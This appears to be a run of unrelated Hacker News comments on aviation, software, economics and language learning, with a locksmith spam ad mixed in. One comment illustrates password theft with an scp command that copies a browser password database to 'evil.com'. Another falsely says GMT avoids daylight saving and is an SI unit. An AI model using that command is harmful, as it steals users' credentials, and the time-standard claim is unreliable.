skysight-inc/HackerNews huggingface dataset:
Even if you're right about the "massive negative externalities," what makes you think the government's Absolutely Non-Paternalistic Meddling here gets it right?

Also, even Absolutely Non-Paternalistic Meddling can lead to other massive negative externalities by significantly increasing the cost of new cars (see my link above). Then consumers are less likely to purchase newer cars that, all else being equal, tend to be safer. So we have more deaths.

So, again, even if you're right about these "massive negative externalities," presumably meaning environmental effects, does that justify killing your fellow citizens by dooming the less affluent to drive older, less-safe cars?
Makes you wonder about the logistics of this all.

Moving around the plane opening hatches and tinkering with equipment requires there to be at least a few people. One to do the work, one inside the cockpit managing the flight and one looking after the passengers. All of them you would assume would have guns to keep the passengers from simply rushing them.

Getting multiple weapons past security surely means an inside job. And then what is the motivation for multiple people wanting to hijack this particular plane ?
No estimates and set-based design
There is a gap between stupid bosses and very very smart bosses. My own preference is weighted to the latter, but I recognize this can be career limiting (I have mixed feelings about working for myself, for example).
Ah yes, the Ken Thompson hack. It's possible in theory, but I don't think anyone is seriously worried about it.

One way to mitigate the attack: if your compiler is open source you could compile the compiler with multiple (open source and proprietary) compilers, then compile your application code using the resulting compiler binaries in the deterministic build process. If the resulting application binaries match, then either none of the compilers are compromised, or all of them are. The latter seems highly unlikely.

Also, open source software compiled by the user would be just as vulnerable.
Does anyone know of a plot of the hourly satellite ping locations? The article made it sound like they contained GPS coordinates.
EDIT: Currently it looks like I'm completely wrong: http://hosted.ap.org/dynamic/stories/A/AS_MALAYSIA_PLANE?SIT...

------------------------

Disclaimer: I know nothing about planes.

That being said, this seems like fodder for conspiracy theories and click throughs. Under normal circumstances, yeah, I bet it's hard to disable. However, if we assume the plane crashed, we know there was a massive malfunction -- seems more likely to me that it was a part of that.
Yes, content first web design is good web design, not superfluous decoration.
I don't understand. I thought Popcorn Time was FOSS with it's source on GitHub that downloaded all it's data from external APIs.

How can it possibly just "say goodbye"?

Is this the main developers disowning it or what? I imagine thousands of other devs now have local forks of it on their home machine and can/will continue to develop and release it?
I assume you meant "commend"...because "command" would be a bit aggressive ;)
Locksmith Harold Hill‎ RM3 you tube video
Call 0170 854 8200 Locksmith Services near Harold Hill or in your area RM3 7SP. Quick Diamond Locksmith provides quality 365x24x7 services :-

• Domestic Services
• Commercial Services
• System Safety
• Locks & Alarms Auto
• Emergency 24 hour
• Door/Lock Opening
• Lock Fitting
• Lock Repair
• UPVC Lock Repair
• Car Opening
I'm sorry I thought you started it, when you claimed that I was too stupid to understand you.

> He mentioned how impressive it was that it was still alive given how starved for resources it had been.

Everyone's pet-project is understaffed. That's how passionate people will always describe their favorite projects.

If you divide man-hours by revenue, you'll note that Google Reader was getting pretty close to infinite resources.

> rather than starving it.

Most, if not all, RSS aggregators don't DREAM of having the software tooling, crawling and storage resources, DevOps, and visibility that Google Reader had.

I say again, I wish I had your crystal ball for the correct amount of resources, and the correct amount of time to spend on a project.

It's pretty easy to armchair quarterback, though.
GMT is more reliable than UTC, doesn't change with daylight savings. It's also the SI-unit for science methods, so it works internationally.
Here is one of her blog posts expressing frustration, although still vague: http://julieannhorvath.com/2013/03/22/there-is-no-emoji-for-...
Good article, but it kinda misses the fact that his beloved works are unavailable to probabl 50% of its audience through legal means. If the choices are wait a year or more then pay triple the US price for a DVD or pirate it, what choice will users take?
This is in no way endorcing piracy, I enjoy all my media through Netflix
I wish Team would be released as a services or at a cost for self installation.
Installation is mostly trivial. Maintaining a bunch of systems is not.

> Over time, it may make sense to move to a more deterministic solution, but to start there (IMO) is often a case of premature optimization.

I mostly agree with this though.
Totally makes sense, but Spanish is still one of the easiest languages for learn for English speakers. So if you are planning to learn a new language, do give Spanish a try. One of the best books for learning Spanish is - Madrigal's Magic Key to Spanish. French is a little more difficult, and German is way more difficult. Probably that's another reason for the difference in the returns over time?
>They appear to use 3 different compilers for this reason (Ada)

I understand why Ada is used for safety-critical applications, but I have to wonder: Does the fact that Ada is a relatively old and unfriendly language lead to more bugs than it prevents? My mind would probably go blank if I had to stare at Ada code for 8 hours a day.

What if we used Haskell for all non-realtime safety-critical functionality in aircraft? With a few extra rules to prevent stack overflows, I think I'd trust a million-line Haskell program over a million-line Ada program (although it would probably be more like ten-thousand-line Haskell program vs million-line Ada program).
React Community Round-up #18: Related Frameworks and Architectures
http://www.scribd.com/doc/212547313/Primary-Flight-Computer-...
The problem I have with speed enforcement as such is that speeding, in and of itself, doesn't harm anyone. Note that in my suggestions above I didn't say anything about speeding by itself; I said if you are involved in an accident and your speeding is a contributing factor, that should increase the negative consequences you suffer. That would give people an incentive to properly consider the risks of speeding; and the person who is actually driving the vehicle, and sees the road conditions and other variables as they are, is in a much better position to judge what is a safe speed than a bureaucrat writing speeding laws.
Team sounds a lot like what yammer was at one point.
Thank you for asking, much appreciated. :)

We'll probably do a small beta as we get the local cloud ready for release to make sure things are easy to use and work as expected. Since it'll be open source, I'm hoping the beta group can help find bugs and even send in pull requests if there are pieces they want added. The beta signup thread is here at the moment: https://community.spark.io/t/where-is-the-source-code-for-th...

Thanks,
David
I think they were joking =)

> That's why we have perfesionalism, cause prfesionalism is good.
Docker Stories: Experiments, Recovery, Discussions
Pretty sure that was posted by a single redditor (for 3 hours) http://www.reddit.com/r/AskReddit/comments/20fmd0/serious_ma....

Who else is saying this and where?
I use my undergraduate Italian to find recipes for foods and liqueurs on Italian Google, among other things.
I could never stand to watch her for more than 30 seconds, because she's so awful.
Hard to say.

It means that there's an increased chance of bugs overall, yes, but a decreased chance of bugs that affect the overall flight, as it means that many more bugs will be caught and dealt with before they start affecting things majorly.

It doesn't save you from flaws in the design specs, though, or if everyone made the same faulty assumption.

As I've found myself: the best way to test an implementation of a data structure is to compare it against another implementation (preferably the simplest implementation possible - singly linked list, anyone?) and assert that they exhibit identical behavior.
You have that the wrong way around - GMT has daylight savings, UTC does not.
If the separation between the UI and the backend electronics (the stuff that would be critical to safety) was strong enough, Tesla could even embrace a hackable UI portion of their system.
It would be up to you if the Bluetooth phone worked, or if the climate controls worked, or if any other feature worked on the main display. (I assume the cluster display would be controlled by a different virtualized process.)

Of course Tesla would still supply a standard UI that the vast majority of people would use, but it could be forked on Github if you preferred. (I assume that third-party apps would be separated.)

For all the 'speculation' about Apple merging with Tesla, acquiring a significant portion of Blackberry/QNX would be a better choice. Detroit could end up buying their interactivity from a subsidiary of Tesla.
> 3781 - Single quotation mark as digit separator

Hold on a minute. Why is this even a thing? Do people really use HUGE numeric literals and have so much trouble reading them that this is needed?

This just sounds like another parsing nightmare that really should belong in syntax highlighting rather than exist as some obscure language feature.
I realize the article is pro-multilingual, but I disagree with the notion that time spent learning a foreign language is time not spent learning another subject.

My son was in Spanish immersion preschool from age 2 until 3 years 4 months. He can speak and understand Spanish and understands that he speaks a language that my wife and I don't. Then we moved and put him in Mandarin/English bilingual school. He's 2.5 months into the program and can already count, follow basic instructions, and make basic requests.

Learning a language at that age has basically been a free layer of learning added on top of his education and growth. To him, it's not even "learning" it's just talking and playing and singing.

There's no opportunity cost at that age to stacking blocks with English instruction or some other language. Why wouldn't we take advantage of that time in our kids' lives by immersing them in another language?

Of course it could just be that my son is the smartest kid in the whole world. That's probably true, too.
First 10 of the 50 Finalists: InTech50 Most Innovative Products from India
From what I've read, there's no GPS in the satellite ping data, but apparently some rough estimate can be made from signal strengths.
A couple of Tweets to note:

1. The OP has not yet explained what happened but says a blog post is on its way: https://twitter.com/nrrrdcore/status/444649347037155329

> I'm done keeping quiet and will be writing about my experiences soon.

2. Part of the problem stems from this Secret post that apparently refers to her: https://twitter.com/nrrrdcore/status/444646082857820160

My own opinion: unrelated to the issue at hand, but I'm sad at how technology in the world's brightest innovation sector is being used as I imagine it would be among high schoolers who had the power to invent and acquire millions in funding.
This reminds me of an article I read about the Space Shuttle's flight control system. Five computers on board, with 4 running redundantly and the fifth on backup.

> Q. How are actuators controlled?

> A. For the aerosurface actuators, each of the four computers sends out an independent command on an independent bus. With no failures, the commands should be identical. The voting is done at the actuator using a hydraulic voting mechanism, called a force-fight voter. In it, there are four hydraulic ports called secondary ports, each commanded by one of the four GPCs. The secondary ports go into the primary ports, which are heavy-duty actuators that connect to what's called a "summing bar," which is no more than a massive steel rod. If there are three good computers and one bad one, the three good commands physically out-muscle the fourth. This limits the control authority a little bit--we don't get the total force we'd like to get, but there's still enough power to control the vehicle. If you have a large enough pressure differential for a large enough time, the port is hydraulically bypassed, which relieves the pressure in that one port. The remaining three ports then regain their full authority.

The whole article is worth a read: http://klabs.org/DEI/Processor/shuttle/shuttle_primary_compu...
On the one hand, the article challenges us to question established ways of doing things. On the other, the first footnote correctly points out some projects that were economic failures because they were technology for its own sake rather than providing something of value to people.

Some of us may have the freedom and the desire to hack on things that are destined to be economic failures. But for the rest of us, I think it's more important to err on the side of technologically conservative but economically successful projects. So, most of us, myself included, will continue to work within the context of established programming languages, operating systems, and other groundwork that has already been laid for us.
Warren is correct that gold is a poor "investment" in the same vein that a Picasso/fine art, old wine, intergenerational (not buy-to-flip) land possession, vintage cars are.

That is, they may well appreciate with or outstrip inflation, but they are not really meant to earn a yield "productively" like crop and ExxonMobile shares do.

They aren't "investments" in the proper, classical "value investor" sense, they are wealth assets in their own right. Even Ben Bernanke knew that much and told the world in the open! But Warren doesn't know gold's usefulness? Give me a break.

Gold isn't an investment in the same way a life preserver isn't a treadmill. Both have their time and place in life.

Non-productive, non-investment wealth assets: they don't stimulate much economic activity, but they also carry much lower counterparty and other risks and don't infringe on "everyone else's productive economic activity" by stockpiling needed resources in gigantic quantity when they could be put to productive economic use by the nation. Gold is so valuable here precisely because it's (economically) "so useless". You can't eat gold? That's precisely the point! Perfect hoarding medium.

If you look back on a lifetime of very savvy investment work, like Warren does, you'll find your investments will have earned you much "excess income" that can be either put back into economically productive investments, or transformed into non-productive, non-counterparty-risk, by-and-large-in-the-long-run-value-preserving wealth assets. Many very wealthy people after a lifetime of earning excess income from economic/investment savvy do choose to "cash in some of their chips", so to speak. And over millenia, if they do so in assets that don't infringe on society's economic activity, everyone is better off and the hive will leave them alone.

Warren may be one of the few who doesn't wish to do so, but he cannot possibly pretend not to know that this is Gold's proper and totally reasonable purpose in today's times.

Other than massive Central Bank stockpiles that is, of course.
The old lead developer at MtGox who's internet handle is "MagicalTux" is a big fan of PHP :).
See my reply to mcguire above ;)
Occam's razor, the plane exploded in mid air.

Not even time to mayday.
They could make the previous firmware easily restorable - like the BIOS on post-2008 computers - all of them have a shadow copy that can be restored if the new BIOS does not work. Hold two buttons and start the car or something :-)
Anyone interested in this event or feeling inclined to speculate on the cause, mechanisms, and outcomes of the disappearance of Flight 370 should read a couple of the most recent threads on the topic over at airliners.net[1]. Their forums are the equivalent of HN for pilots and other aircraft professionals and are a fascinating read anytime an aircraft event is worth discussing.

[1] http://www.airliners.net/aviation-forums/general_aviation/re... - Currently the most recent thread.
I am not sure the WSJ cares much about click throughs. They are a subscription based-service. There are no ads on that page, at least not when I open up a browser with no adblocker.
Haha, no kidding.

It's not so bad with the right tools. In particular, "virtualenv" lets you make "environments" for python packages so you can install these things without needing root access:

- Use your distro package manager to install virtualenv

- Make a new virtual environment with: virtualenv /tmp/vv

- "Enter" the environment: source /tmp/vv/bin/activate

- You now have "pip" so you can say pip install term2048

- Play

- rm -r /tmp/vv and log out; everything's all cleaned up now.
There's no good alternative for a locally cashing network filesystem to go with that (although AFS isn't bad) -- and, it's not running on the platforms I use (mostly Debian GNU/Linux -- but bsd would be good too).

Even if I was willing to introduce a w2k8 server -- it's hardly trivial to integrate across infrastructure. Eg: set up client auth for ssh in such a way that online verification of certs against a list of cancelled certs works -- and that there are no other ways to authenticate to ssh servers.

I absolutely agree that AD is one of the best things MS ever rolled out -- it's unfortunate they a) broke (or bent) some standards when doing it, and b) just like .net and sql server are great platforms, they're not for me (any more) -- I'd much rather play in an open environment. Mostly so I'm not dependent on a single entity for continuation of services and development.

I know RedHat have their directory server, and Samba4 has basically copied some of the architecture from AD (roll up LDAP, cifs, kerberos all in an integrated set of services) -- and that's great. I'd still like to see a single open design that actually works (and that last bit means it needs to be tested across heterogeneous environments).

I don't think such a system would actually be too hard to implement these days, we have a lot of great components that just need to be fit together and "blessed" with some rigorous packaging and documentation. Perhaps the "best" way would be to wrap kerberos principal key exchange in a public key transport of some sort (but at that point you'd really only be using kerberos for backwards comparability, you'd have moved the trust and authentication implicitly to your CA infrastructure (possibly with a low lifetime of service tickets) -- which could be good or bad depending on your point of view).

Basically what I want, is to have a way to throw a (most likely private) CA-cert on a new box, and then have that box request a cert via on-line csr to a gateway -- that gateway should then be able to forward the csr to the CA (which for high security setups should be air-gapped, for most settings might be a daemon running on the same box). Then once machine certs are set up, probably use service-certs for services (if this sounds a lot like kerberos, that's not an accident) -- or just assume one service per (virtual) machine.

For users we'd need something similar, and we'd need a working online check for validity that defaults to disallow, probably with some caching for local login on laptops/workstations to be able to to some* authentication even when offline (obviously configurable, depending on use-case).

After the years of attack on kerberos (among others) I think many of the risks are well understood -- the challenge is just to build something that is simple enough, but yet works. Dictate a single format for certs, possibly a very limited set of algorithms (but history seems to indicate that some sort of visioning is needed, maybe explicit "valid sets" rather than open negotiation?).

Anyway, sorry for the post, probably should've been a blog post :-)
My own opinion: She is a terrible person to work with, in response to this [1] outing of her behind the scenes behavior decided to deflect everything back at GitHub with public tantrum filled with false allegations.

https://twitter.com/nrrrdcore/status/444646082857820160
This is so silly!

Thanks to my ability to speak Russian, I am able to employ a team of Russian speaking developers all over the world, and therefore build things more efficiently and for less money than I would hiring local developers.

That right there created a huge amount of value not just for me but all the users of our apps, and made the whole thing possible.
You're right. But, I'm guessing the set of people who know they could see your password easily is pretty much the same set of people with sufficient technical knowledge that they either know how to do more or know how to find out how to do more.

Open terminal type

scp .somebrowser/password.db user@evil.com:

Takes no more time than writing down passwords like nfie28447ncjf;$/$38342. Probably less if there's more than one password
I reach for occam's razor almost reflexively; I am inclined to think that the plane will be found around the area we lost contact.

However, the fact that India and the US is deploying so many assets on the other side makes me suspect they might have some credible leads. I am guessing India is possibly working more with the US than anyone else; given that India wouldn't want China to know what capabilities they have there.
I'm frustrated that Pandora is fighting to pay less to the people who make the music we all love. The rates are already tiny relative to other sources of income for song writers.

I'm frustrated that ASCAP was angling for an arbitrarily larger percentage of revenue from Pandora based on going for nice looking numbers (2.5% retroactively for 2013, and 3% by 2015 in according to [1]).

But mostly I'm frustrated that congress and the courts are setting numbers when the market is perfectly capable of working this sort of thing out on its own. Legislation of terrestrial radio makes some sense given that the airwaves are allocated for public use. Internet radio is over pipes the government has no control over, though, except when the bits turn into music. Oh, and only when that music is chosen by someone other than the user. What?

[1] http://blogs.wsj.com/digits/2014/03/14/ruling-on-pandora-asc...
I'm writing to disk on every insert - mainly just for simplicity for this article. Same with semicolon delim string, normally I serialize to/from JSON. Normally, I only flush to disk periodically using setInterval.

I'll try and do a followup post with actual load tests. I load test using loader.io 35k requests total (increasing to 500 clients) in 20 seconds, I go from 50ms response to 200ms but no higher than that. I'd have to do more specific tests.

This is on a tiny $1/mo 128MB ram VPS but with SSD.

Granted this isn't your native-C powerhouse database, but I would bet 95% of websites get less than 10k requests a day and this could easily handle that load.
Ada is proven in this area and generates fast, efficient code that is suitable for embedded systems. Ada's last revision is 2012. What do you find unfriendly?

I would most certainly not trust Haskell over Ada in embedded system work.